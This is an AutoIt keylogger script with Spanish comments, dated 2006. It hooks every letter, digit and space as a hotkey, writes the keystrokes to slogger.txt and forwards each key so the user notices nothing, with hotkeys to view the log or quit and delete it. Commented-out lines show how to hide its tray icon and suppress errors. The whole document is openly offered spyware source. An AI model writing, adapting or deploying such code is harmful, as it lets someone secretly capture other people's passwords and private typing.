#cs ----------------------------------------------------------------------------
 20/10/06 9:32 hkm
;~ 	Simple y no residente keylogger en AutoIT para caracteres alfanumericos
#ce ----------------------------------------------------------------------------
; BUG: Te deshabilita CAPSLOCK / BLOQ MAYUS
; BUG: Al dejar presionado shift solo guarda la primera en mayus

;con esto escondemos el icono y no mostramos errores
;AutoItSetOption("RunErrorsFatal", 0)
;AutoItSetOption("TrayIconHide", 1)

;creamos un file llamado slogger.txt para guardar las keys
$file = FileOpen("slogger.txt", 1)
If $file = -1 Then
    MsgBox(0, "Error", "El file no se pudo crear/abrir.")
    Exit
EndIf

;mostramos opciones al usuario
MsgBox(0, "Simple Key Logger", "[Alt+k] ver las keys "&@CR&"[Alt+q] para salir")

;dejamos todo el tiempo esperando hotkeys
while(1)
HotKeySet("!k", "menukey")
HotKeySet("!q", "quit")
HotKeySet(" ", "logea")
HotKeySet("a", "logea")
HotKeySet("b", "logea")
HotKeySet("c", "logea")
HotKeySet("d", "logea")
HotKeySet("e", "logea")
HotKeySet("f", "logea")
HotKeySet("g", "logea")
HotKeySet("h", "logea")
HotKeySet("i", "logea")
HotKeySet("j", "logea")
HotKeySet("k", "logea")
HotKeySet("l", "logea")
HotKeySet("m", "logea")
HotKeySet("n", "logea")
HotKeySet("ñ", "logea")
HotKeySet("o", "logea")
HotKeySet("p", "logea")
HotKeySet("q", "logea")
HotKeySet("r", "logea")
HotKeySet("s", "logea")
HotKeySet("t", "logea")
HotKeySet("u", "logea")
HotKeySet("v", "logea")
HotKeySet("w", "logea")
HotKeySet("x", "logea")
HotKeySet("y", "logea")
HotKeySet("z", "logea")
HotKeySet("A", "logea")
HotKeySet("B", "logea")
HotKeySet("C", "logea")
HotKeySet("D", "logea")
HotKeySet("E", "logea")
HotKeySet("F", "logea")
HotKeySet("G", "logea")
HotKeySet("H", "logea")
HotKeySet("I", "logea")
HotKeySet("J", "logea")
HotKeySet("K", "logea")
HotKeySet("L", "logea")
HotKeySet("M", "logea")
HotKeySet("N", "logea")
HotKeySet("Ñ", "logea")
HotKeySet("O", "logea")
HotKeySet("P", "logea")
HotKeySet("Q", "logea")
HotKeySet("R", "logea")
HotKeySet("S", "logea")
HotKeySet("T", "logea")
HotKeySet("U", "logea")
HotKeySet("V", "logea")
HotKeySet("W", "logea")
HotKeySet("X", "logea")
HotKeySet("Y", "logea")
HotKeySet("Z", "logea")
HotKeySet("0", "logea")
HotKeySet("1", "logea")
HotKeySet("2", "logea")
HotKeySet("3", "logea")
HotKeySet("4", "logea")
HotKeySet("5", "logea")
HotKeySet("6", "logea")
HotKeySet("7", "logea")
HotKeySet("8", "logea")
HotKeySet("9", "logea")
wend

;funcion para guardar las keys en el archivo
Func logea()
HotKeySet(@HotKeyPressed)
FileWrite($file, @HotKeyPressed)
Send(@HotKeyPressed) ;aparte de recibir el key lo reenviamos
EndFunc

;mostramos los keys de slogger.txt en un MsgBox
Func menukey()
	FileClose($file)
	$contenido = FileRead("slogger.txt")
	MsgBox(0,"Keys",$contenido)
	$file = FileOpen("slogger.txt", 1)
EndFunc

;salimos y borramos el File
Func quit()
	FileClose($file)
	FileDelete("slogger.txt")
	Exit 0
EndFunc